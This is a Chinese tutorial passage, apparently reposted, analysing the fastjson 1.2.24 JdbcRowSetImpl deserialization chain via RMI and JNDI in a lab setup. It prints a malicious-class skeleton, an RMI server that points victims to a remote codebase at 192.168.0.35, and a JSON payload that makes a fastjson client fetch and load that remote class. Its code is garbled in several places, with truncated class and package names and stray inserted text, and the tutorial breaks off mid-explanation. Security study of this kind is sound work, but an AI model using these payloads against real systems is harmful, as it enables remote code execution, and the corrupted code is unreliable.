14-java安全——fastjson1.2.24反序列化JdbcRowSetImpl利⽤
链分析
fastjson在1.2.24版本中,除了TemplatesImpl链之外,还有⼀个JdbcRowSetImpl利⽤链,JdbcRowSetImpl链有两种利⽤⽅式:⼀种是RMI和JNDI利⽤⽅式,另⼀种是JNDI和LDAP利⽤⽅式,关于JNDI的相关概念之前在java安全基础中已经介绍过了,⽽且底层原理已经分析过了,⼤家可⾃⾏参考以下⽂章。
1. RMI和JNDI利⽤⽅式
漏洞复现环境:
jdk7u80
fastjson1.2.24
RMI和JNDI利⽤⽅式对于jdk版本的限制⽐较⼤:JDK的版本必须低于这⼏个版本:6u141、7u131、8u121,本次漏洞复现使⽤的是
jdk7u80版本
⾸先是基于JNDI和RMI的JdbcRowSetImpl利⽤链,新建⼀个maven项⽬,在l⽂件中引⼊fastjson1.2.24版本的依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
在此之前我们先回顾⼀下JNDI注⼊
public class JndiTest {
public static void main(String[] args) throws NamingException {
//指定RMI服务资源的标识
String jndi_uri = "rmi://127.0.0.1:10086/test";
//构建jndi上下⽂环境
InitialContext initialContext = new InitialContext();
//查标识关联的RMI服务
initialContext.lookup(jndi_uri);
}
}
在这个⽰例程序中,如果RMI客户端中调⽤lookup函数指定RMI服务的jndi_uri变量可控的话,攻击者就可以通过篡改RMI客户端中jndi_uri 变量的值,从⽽把RMI客户端导向到其他地⽅并加载⼀个恶意类Exp就可以造成命令执⾏,这样客户端就有可能被攻击。
先构造⼀个恶意类Exp
import java.io.IOException;
fastjson常用方法public class Exp{
static {
try {
} catch (IOException e) {
e.printStackTrace();
}
}
}
构造⼀个RMI服务端,将RMI客户端导向该处,加载恶意类Exp
st;
import com.i.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
i.AlreadyBoundException;
i.RemoteException;
i.registry.LocateRegistry;
i.registry.Registry;
/*
基于RMI和JNDI利⽤⽅式:fastjson反序列化JdbcRowSetImpl利⽤链分析
*/
public class RMIServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { //标识符
String jndi_uri = "192.168.0.35:8081/";
//注册中⼼
Registry registry = ateRegistry(10086);
//标识符与与恶意对象关联
Reference reference = new Reference("Exp", "Exp", jndi_uri);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//将名称与恶意对象实体进⾏绑定注册
registry.bind("Exp",referenceWrapper);
System.out.println("RMI服务端已启动......");
}
}
RMI客户端
import com.alibaba.fastjson.JSON;
/*
基于RMI和JNDI利⽤⽅式:fastjson反序列化JdbcRowSetImpl利⽤链分析
*/
public class RMIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"wset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.0.35:10086/Exp\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
RMI客户端通过fastjson反序列化了⼀个wset.JdbcRowSetImpl类,该类在反序列化过程中会调⽤lookup⽅法发送⼀个RMI 请求(rmi://127.0.0.1:10086/Exp)获取Exp类并加载,当RMI客户端加载Exp类就会执⾏命令调出计算器。
先启动RMI服务端,再启动RMI客户端,我们从web服务器中可以看到RMI客户端确实从web服务器上获取了恶意类Exp
RMIClient和RMIServer通信过程如下:
我们可以把客户端和服务端的通信过程总共分为6部分:
第⼀部分表⽰RMIClient和RMIServer建⽴RMI通信的过程(即tcp三次握⼿)
第⼆部分为RMIClient和RMIServer之间正式通信过程
第三部分表⽰RMIClient和web服务器建⽴通信过程(也是tcp三次握⼿)
第四部部分表⽰RMIClient和web服务器之间正式通信过程,RMIClient会从web服务器中获取恶意类Exp
到本地并加载
第五部分为RMIClient和web服务器之间的tcp链接关闭
第六部分为RMIClient和RMIServer之间的RMI通信的tcp链接关闭,由于这⾥我强制把RMIClient程序停⽌了,客户端会发送⼀个RST段重置TCP连接
具体的通信过程我们不再深⼊分析,⼤家可以参考开头的⼏篇⽂章。
接下来我们继续分析⼀下JdbcRowSetImpl利⽤链是如何触发漏洞的,通过RMIClient中的payload我们知道fastjson在解析json数据反序列化时会调⽤对象的setter⽅法设置属性的值,换句话说,fastjson对JdbcRowSetImpl类反序列化时会调⽤dataSourceName属性的setter⽅法。
public void setDataSourceName(String var1) throws SQLException {
//判断属性的值是否为null
if (DataSourceName() != null) {
if (!DataSourceName().equals(var1)) {
String var2 = DataSourceName();
super.setDataSourceName(var1);
< = null;
this.ps = null;
this.rs = null;
this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
}
} else {
//如果为null设置属性的值
super.setDataSourceName(var1);
//设置属性dataSourceName
this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
}
}
JdbcRowSetImpl类⾸先会调⽤getDataSourceName判断属性的值是否为null,如果为null则调⽤⽗类的setDataSourceName⽅法设置值,var1变量的值就是rmi://192.168.0.35:10086/Exp
JdbcRowSetImpl的⽗类BaseRowSet的setDataSourceName⽅法
public void setDataSourceName(String name) throws SQLException {
if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}
URL = null;
}
setDataSourceName⽅法会对name参数进⾏为null或为空字符串的校验,然后设置dataSource 属性的值为rmi://192.168.0.35:10086/Exp
然后JdbcRowSetImpl类调⽤了firePropertyChange⽅法将dataSourceName封装到了⼀个PropertyChangeEvent对象中。
public void firePropertyChange(String propertyName, Object oldValue, Object newValue) {
if (oldValue == null || newValue == null || !oldValue.equals(newValue)) {
firePropertyChange(new PropertyChangeEvent(this.source, propertyName, oldValue, newValue));
}
}
我们继续跟踪PropertyChangeEvent的构造,可以看到dataSourceName封装到了PropertyChangeEvent中的propertyName属性
中,newValue中存储的就是dataSourceName的值。
为什么要将dataSourceName属性的值设置为rmi://192.168.0.35:10086/Exp?因为JdbcRowSetImpl类调⽤了⼀个connect⽅法获取数据库连接池
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论